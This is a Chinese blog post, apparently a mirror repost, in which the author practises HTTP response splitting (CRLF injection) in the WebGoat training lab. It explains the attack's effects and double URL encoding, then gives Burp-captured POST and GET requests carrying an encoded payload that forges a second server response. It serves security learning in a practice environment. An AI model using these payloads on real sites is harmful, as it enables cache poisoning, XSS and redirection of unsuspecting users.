zoukankan      html  css  js  c++  java
  • HTTP 拆分响应漏洞 (http splitting)

    原理: HTTP 拆分响应攻击 也叫 CRLF 攻击    

    利用数据包中的%0d 换行符 %0a 回车 在一个数据包中再构造一个数据包 

    服务器解析 会返回2个响应包 第一个是正常响应包 第二个为 攻击者构造好的响应包 

    危害:1.构造XSS   可以获取很多别人服务器上的信息 刺激

    2.污染缓存   缓存污染,欺骗缓存,使其相信使用HTTP拆分劫持的页面是一个很正常的页面,是一个服务器的副本 

    3.构造CSRF 可以让受害者 跳转到我们指定的网页 比如转钱什么的  前提是他当前浏览器 已经登陆了账户 我们劫持了后 他用代理服务器访问时 会访问我们劫持的转钱页面 从而使得 嗯 对

    也就是 可利用这个漏洞 结合其他很多漏洞进行组合攻击

     这里玩的靶场是 webgoat  很老的一个洞了

    官方原理:攻击者在向 Web 服务器正常输入的请求中加入恶意代码,受到攻击的应用不会检查CR(回车,也可表示为%0d或 )和LF(换行,也可表示为%0a或 )

    每个数据包键值后用 了 %0d %0a  实现一次换行 回车   

    这个要自己试了 理解才更清晰点  owaspbwa webgoat  靶场

    POST请求好像就应该在数据里面进行%0d%0a 转义换行回车 

    而GET请求 可在 url中进行转义 这样 响应就被拆分成了2个数据包 

    注意转义要用2次url 编码 为什么 ?  第一次url编码 是提交时要用的  第二次是服务器解析用的

    正常情况提交数据 浏览器会对数据进行一次url编码 数据到服务端 服务端会对收到的数据进行解码

    狠麻烦 容易搞错

    http数据包格式狠容易错的

    第一次url编码 无论是使用在线编码还是用burp encode 进行编码 都容易出问题 

    还是自己构造好  就是麻烦

    china
    Content-Length: 0

    HTTP/1.1 200 OK
    Content-Type: text/html
    Last-Modified: Mon, 27 Oct 2099 14:50:18 GMT
    Content-Length: 47

    you have been hacked

    这里每个换行 都有 url编码 %0d%0a

    写脚本也行 手工也行  这个网站靠谱点:http://www.jsons.cn/urlencode/

    url编码后 放在记事本 选择替换 把 %0A 换成%0D%0A 

    然后再进行一次url编码
    burp 抓包

    POST /WebGoat/lessons/General/redirect.jsp?Screen=3&menu=100 HTTP/1.1
    Host: 192.168.202.134
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 31
    Origin: http://192.168.202.134
    Authorization: Basic cm9vdDpvd2FzcGJ3YQ==
    Connection: close
    Referer: http://192.168.202.134/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&language=chinaContent-Length:%200HTTP/1.1%20200%20OKContent-Type:%20text/htmlContent-Length:%2047%3Chtml%3EInsert%20undesireable%20content%20here%3C/html%3E
    Cookie: JSESSIONID=D3B7373D7D7464BD4C7D5C6E7E6F4879; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
    Upgrade-Insecure-Requests: 1

    language=china%250D%250AContent-Length%253A%25200%250D%250A%250D%250AHTTP%252F1.1%2520200%2520OK%250D%250AContent-Type%253A%2520text%252Fhtml%250D%250ALast-Modified%253A%2520Mon%252C%252027%2520Oct%25202099%252014%253A50%253A18%2520GMT%250D%250AContent-Length%253A%252047%250D%250A%250D%250Ayou%2520have%2520been%2520hacked&SUBMIT=Search%21

    获取到我们的相应包 继续转发

    GET /WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&language=china%0D%0AContent-Length%3A%200%0D%0A%0D%0AHTTP%2F1.1%20200%20OK%0D%0AContent-Type%3A%20text%2Fhtml%0D%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202099%2014%3A50%3A18%20GMT%0D%0AContent-Length%3A%2047%0D%0A%0D%0Ayou%20have%20been%20hacked HTTP/1.1
    Host: 192.168.202.134
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Referer: http://192.168.202.134/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&language=chinaContent-Length:%200HTTP/1.1%20200%20OKContent-Type:%20text/htmlContent-Length:%2047%3Chtml%3EInsert%20undesireable%20content%20here%3C/html%3E
    Authorization: Basic cm9vdDpvd2FzcGJ3YQ==
    Connection: close
    Cookie: JSESSIONID=D3B7373D7D7464BD4C7D5C6E7E6F4879; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
    Upgrade-Insecure-Requests: 1

     理论上应该成功了的

    参考 https://www.cnblogs.com/arlenhou/articles/webgoatsplittinghttp.html

    看了看 别人的博客 真就抄了又抄呗  其实就只看了作者 的 其他的抄的根本没有理解

    再来 爷还不信了 

    要不就是webgoat 有bug 要不就是我代码错了 

  • 相关阅读:
    linux服务器管理员的12个有用的命令
    登录服务器,首先用到的5个命令
    去掉hive字段中的tab
    html-css实例
    【转】你真的理解Python中MRO算法吗?
    【转】CentOS下expect 安装
    Python|PyCharm安装scrapy包
    Java连接Oracle
    Java连接mysql
    最常用正则表达式
  • 原文地址:https://www.cnblogs.com/Sabia/p/13963280.html
Copyright © 2011-2022 走看看